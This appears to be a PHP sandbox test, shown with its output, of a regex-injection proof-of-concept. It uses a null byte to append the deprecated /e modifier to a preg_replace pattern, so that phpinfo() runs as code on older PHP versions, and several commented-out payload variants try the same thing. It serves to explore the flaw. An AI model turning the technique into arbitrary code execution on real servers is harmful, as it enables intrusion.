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<?php #$srch = "{${eval("echo phpinfo();//apple1(?=/)\\e")}}"; #$srch = "{${eval("phpinfo();apple(?=/)\e")}}"; #$srch = "include(eval(phpinfo());apple(?=/)\\e)"; #$srch = "phpinfo();//apple(?=/)\e" #$srch = "(phpinfo()#|apple)(?=/)/e"; #$srch = "(phpinfo();#|apple)(?=/)/e"; $srch = "phpinfo();#|apple/e\x00"; echo "\n\n\n\n\n"; echo "Raw string is:\t\t" . $srch; echo "\n"; $search = htmlentities($srch); echo "HTMLEntities string is:\t" . $search; echo "\n"; if (strpos($search, 'apple') !== false){ echo "in the if!"; echo "\n"; echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "apple"); }
Output for 5.4.7 - 7.2.0
Raw string is: phpinfo();#|apple/e HTMLEntities string is: phpinfo();#|apple/e in the if! Warning: preg_replace(): Null byte in regex in /in/sZXrB on line 19
Output for 5.3.25 - 5.4.6
Raw string is: phpinfo();#|apple/e HTMLEntities string is: phpinfo();#|apple/e in the if! Warning: phpinfo() has been disabled for security reasons in /in/sZXrB(19) : regexp code on line 1